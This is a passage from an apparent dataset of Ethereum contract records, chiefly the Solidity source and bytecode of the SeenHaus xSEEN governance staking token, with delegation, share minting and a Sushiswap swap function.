52602081815260408083209490945591871681526002825282812033825290915220546105fc908363ffffffff610bcf16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610d6d833981519152929181900390910190a35060019392505050565b60055460ff1681565b6005546000906101009004600160a060020a0316331461067d57600080fd5b6005547501000000000000000000000000000000000000000000900460ff16156106a657600080fd5b6001546106b9908363ffffffff610be116565b600155600160a060020a0383166000908152602081905260409020546106e5908363ffffffff610be116565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610d6d8339815191529181900360200190a350600192915050565b6107773382610bf4565b50565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106107ce57336000908152600260209081526040808320600160a060020a0388168452909152812055610803565b6107de818463ffffffff610bcf16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031633146108a057600080fd5b600554604051610100909104600160a060020a0316907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26005805474ffffffffffffffffffffffffffffffffffffffff0019169055565b6005546000906101009004600160a060020a0316331461091b57600080fd5b6005547501000000000000000000000000000000000000000000900460ff161561094457600080fd5b6005805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6005546101009004600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047e5780601f106104535761010080835404028352916020019161047e565b33600090815260208190526040812054821115610a3557600080fd5b600160a060020a0383161515610a4a57600080fd5b33600090815260208190526040902054610a6a908363ffffffff610bcf16565b3360009081526020819052604080822092909255600160a060020a03851681522054610a9c908363ffffffff610be116565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610d6d8339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b1a908363ffffffff610be116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6005546101009004600160a060020a03163314610bc657600080fd5b61077781610ce3565b600082821115610bdb57fe5b50900390565b81810182811015610bee57fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610c1957600080fd5b600160a060020a038216600090815260208190526040902054610c42908263ffffffff610bcf16565b600160a060020a038316600090815260208190526040902055600154610c6e908263ffffffff610bcf16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020610d6d8339815191529181900360200190a35050565b600160a060020a0381161515610cf857600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff00199092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208f21750dcfd13e0cf7888bf973815068809dffca7c22a0b3cd518332c9a3d3080029
{"success": true, "error": null, "results": {}}
2,540
0x95575e0a107f7244d5855728b5f979b3d80b0a67
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract GovERC20 { /// @notice EIP-20 token name for this token string public constant name = "SeenHaus Governance"; /// @notice EIP-20 token symbol for this token string public constant symbol = "xSEEN"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; uint public totalSupply; mapping (address => mapping (address => uint96)) internal allowances; mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _mint(address account, uint amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0)); totalSupply += amount; balances[account] += uint96(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account); require(balances[account] >= uint96(amount), "ERC20: burn amount exceeds balance"); balances[account] -= uint96(amount); totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); _beforeTokenTransfer(src); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function _beforeTokenTransfer(address from) internal virtual { } } interface IWETH { function deposit() external payable; } interface Sushiswap { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } contract SeenHaus is GovERC20(){ address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; IERC20 public constant seen = IERC20(0xCa3FE04C7Ee111F0bbb02C328c699226aCf9Fd33); // accounts balances are locked for 3 days after entering mapping(address => uint256) locked; constructor() { IERC20(weth).approve(sushiswap, type(uint256).max); } function _beforeTokenTransfer(address from) internal view override { require(locked[from] <= block.timestamp, "transfer:too soon after minting"); } // Enter the haus. Pay some SEENs. Earn some shares. function enter(uint256 _amount) public { uint256 totalSeen = seen.balanceOf(address(this)); uint256 totalShares = totalSupply; locked[msg.sender] = block.timestamp + 3 days; if (totalShares == 0 || totalSeen == 0) { _mint(msg.sender, _amount); } else { uint256 what = _amount * totalShares / totalSeen; _mint(msg.sender, what); } seen.transferFrom(msg.sender, address(this), _amount); } // Leave the haus. Claim back your SEENs. function leave(uint256 _share) public { uint256 totalShares = totalSupply; uint256 what = _share * seen.balanceOf(address(this)) / totalShares; _burn(msg.sender, _share); seen.transfer(msg.sender, what); } function swap() public { IWETH(weth).deposit{value: address(this).balance}(); uint256 amountIn = IERC20(weth).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = weth; path[1] = address(seen); Sushiswap(sushiswap).swapExactTokensForTokens( amountIn, 0, path, address(this), block.timestamp ); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c8063782d6fe1116100d1578063a9059cbb1161008a578063d99aa8e211610064578063d99aa8e214610583578063dd62ed3e146105ae578063e7a324dc146105eb578063f1127ed81461061657610171565b8063a9059cbb146104e0578063b4b5ea571461051d578063c3cda5201461055a57610171565b8063782d6fe1146103d05780637ecebe001461040d5780638119c0651461044a57806395d89b41146104615780639be287851461048c578063a59f3e0c146104b757610171565b80633fc8cef3116101235780633fc8cef31461029c578063587cde1e146102c75780635c19a95c1461030457806367dfd4c91461032d5780636fcfff451461035657806370a082311461039357610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806320606b701461020957806323b872dd14610234578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610654565b604051610198919061364f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612fd4565b61068d565b6040516101d5919061352f565b60405180910390f35b3480156101ea57600080fd5b506101f361080c565b60405161020091906137b1565b60405180910390f35b34801561021557600080fd5b5061021e610812565b60405161022b919061354a565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612f85565b610836565b604051610268919061352f565b60405180910390f35b34801561027d57600080fd5b50610286610aaa565b604051610293919061386a565b60405180910390f35b3480156102a857600080fd5b506102b1610aaf565b6040516102be91906134b4565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190612f20565b610ac7565b6040516102fb91906134b4565b60405180910390f35b34801561031057600080fd5b5061032b60048036038101906103269190612f20565b610afa565b005b34801561033957600080fd5b50610354600480360381019061034f919061313f565b610b07565b005b34801561036257600080fd5b5061037d60048036038101906103789190612f20565b610c75565b60405161038a9190613826565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612f20565b610c98565b6040516103c791906137b1565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190612fd4565b610d07565b60405161040491906138a0565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612f20565b611142565b60405161044191906137b1565b60405180910390f35b34801561045657600080fd5b5061045f61115a565b005b34801561046d57600080fd5b506104766114a8565b604051610483919061364f565b60405180910390f35b34801561049857600080fd5b506104a16114e1565b6040516104ae91906134b4565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d9919061313f565b6114f9565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612fd4565b6116e5565b604051610514919061352f565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f20565b611722565b60405161055191906138a0565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190613010565b611819565b005b34801561058f57600080fd5b50610598611adc565b6040516105a59190613634565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d09190612f49565b611af4565b6040516105e291906137b1565b60405180910390f35b3480156105f757600080fd5b50610600611ba1565b60405161060d919061354a565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190613099565b611bc5565b60405161064b929190613841565b60405180910390f35b6040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cc576bffffffffffffffffffffffff90506106f1565b6106ee8360405180606001604052806025815260200161419760259139611c1e565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107f99190613885565b60405180910390a3600191505092915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006108f98560405180606001604052806025815260200161419760259139611c1e565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561095357506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b15610a9157600061097d83836040518060600160405280603d815260200161426e603d9139611c7c565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a879190613885565b60405180910390a3505b610a9c878783611cf6565b600193505050509392505050565b601281565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b0433826120e0565b50565b60008054905060008173ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b5d91906134b4565b60206040518083038186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bad9190613168565b84610bb89190613ac9565b610bc29190613a67565b9050610bce33846122a0565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c1d929190613506565b602060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6f9190613116565b50505050565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906136d1565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610db857600091505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610e079190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610ecc57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610e8e9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1691505061113c565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610f4d57600091505061113c565b600080600183610f5d9190613b57565b90505b8163ffffffff168163ffffffff1611156110be57600060028383610f849190613b57565b610f8e9190613a98565b82610f999190613b57565b90506000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff16141561108d5780602001519550505050505061113c565b86816000015163ffffffff1610156110a7578193506110b7565b6001826110b49190613b57565b92505b5050610f60565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60066020528060005260406000206000915090505481565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b1580156111b657600080fd5b505af11580156111ca573d6000803e3d6000fd5b5050505050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161121e91906134b4565b60206040518083038186803b15801561123657600080fd5b505afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613168565b90506000600267ffffffffffffffff8111156112b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156112e15781602001602082028036833780820191505090505b50905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600081518110611333577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073ca3fe04c7ee111f0bbb02c328c699226acf9fd33816001815181106113bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073d9e1ce17f2641f24ae83637ab66a2cca9c378b9f73ffffffffffffffffffffffffffffffffffffffff166338ed17398360008430426040518663ffffffff1660e01b815260040161144c9594939291906137cc565b600060405180830381600087803b15801561146657600080fd5b505af115801561147a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906114a391906130d5565b505050565b6040518060400160405280600581526020017f785345454e00000000000000000000000000000000000000000000000000000081525081565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b600073ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154891906134b4565b60206040518083038186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115989190613168565b90506000805490506203f480426115af9190613995565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008114806116015750600082145b156116155761161033846124e5565b61163c565b60008282856116249190613ac9565b61162e9190613a67565b905061163a33826124e5565b505b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b815260040161168d939291906134cf565b602060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190613116565b50505050565b60008061170a836040518060600160405280602681526020016141bc60269139611c1e565b9050611717338583611cf6565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161178c576000611811565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836117da9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280601381526020017f5365656e4861757320476f7665726e616e63650000000000000000000000000081525080519060200120611881612675565b3060405160200161189594939291906135aa565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016118e69493929190613565565b6040516020818303038152906040528051906020012090506000828260405160200161191392919061347d565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161195094939291906135ef565b6020604051602081039080840390855afa158015611972573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e590613691565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611a3e90613cf2565b919050558914611a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7a906136f1565b60405180910390fd5b87421115611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906136b1565b60405180910390fd5b611ad0818b6120e0565b50505050505050505050565b73ca3fe04c7ee111f0bbb02c328c699226acf9fd3381565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c69919061364f565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd7919061364f565b60405180910390fd5b508284611ced9190613b8b565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d90613751565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90613711565b60405180910390fd5b611ddf83612682565b611e59600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806036815260200161416160369139611c7c565b600260